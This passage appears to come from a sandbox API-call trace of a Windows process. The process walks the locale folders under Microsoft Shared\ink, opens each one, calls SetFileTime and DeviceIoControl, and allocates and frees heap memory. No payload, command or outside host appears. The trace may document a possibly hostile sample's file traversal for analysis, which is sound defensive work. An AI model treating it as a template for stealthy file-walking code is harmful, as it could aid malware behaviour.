lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.960] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf96570 [0050.960] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf96570, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf96570, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96570) returned 1 [0050.961] NtClose (Handle=0x184) returned 0x0 [0050.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.961] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.961] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf959a0 [0050.961] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf955e0 [0050.961] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.961] GetLastError () returned 0x12 [0050.961] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ro-RO\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.961] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.961] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe215549d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe2390910, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe2390910, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.962] GetLastError () returned 0x12 [0050.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.962] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.962] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42a795bf, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x42a795bf, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43f1e320, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x29800, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0050.962] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0050.962] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.962] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.991] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ru-ru"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0050.991] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.991] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf96570 [0050.991] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf96570, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf96570, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.992] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96570) returned 1 [0050.992] NtClose (Handle=0x190) returned 0x0 [0050.992] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.992] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.992] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.992] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.992] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.992] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf959c0 [0050.992] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf956e8 [0050.992] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.992] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.992] GetLastError () returned 0x12 [0050.992] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ru-RU\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.992] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.992] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.992] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.993] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea6a1a1d, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xea8dce90, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xea902fed, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.993] GetLastError () returned 0x12 [0050.993] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.993] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.993] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.993] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.993] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a593198, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x6a593198, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0xf44c0670, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0050.993] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0050.993] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.993] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sk-sk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0050.993] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.993] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf96570 [0050.993] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf96570, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf96570, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.993] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96570) returned 1 [0050.993] NtClose (Handle=0x184) returned 0x0 [0050.993] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0050.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.994] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0050.994] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.994] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0050.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0050.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf959e0 [0050.994] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf91c30 [0050.994] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0050.994] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.994] GetLastError () returned 0x12 [0050.994] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sk-SK\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0050.994] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0050.995] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.995] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0050.995] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe526d67f, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe54f4dac, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe54f4dac, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0050.995] GetLastError () returned 0x12 [0050.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0050.995] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0050.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0050.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.995] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0050.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.995] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd838dce, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd838dce, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd838dce, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0050.995] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\sl-si"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x190 [0050.995] SetFileTime (hFile=0x190, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0050.995] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf96570 [0050.995] DeviceIoControl (in: hDevice=0x190, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf96570, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf96570, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0050.995] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf96570) returned 1 [0050.996] NtClose (Handle=0x190) returned 0x0 [0050.996] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0050.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0050.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0050.996] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0050.996] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\sl-SI\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, 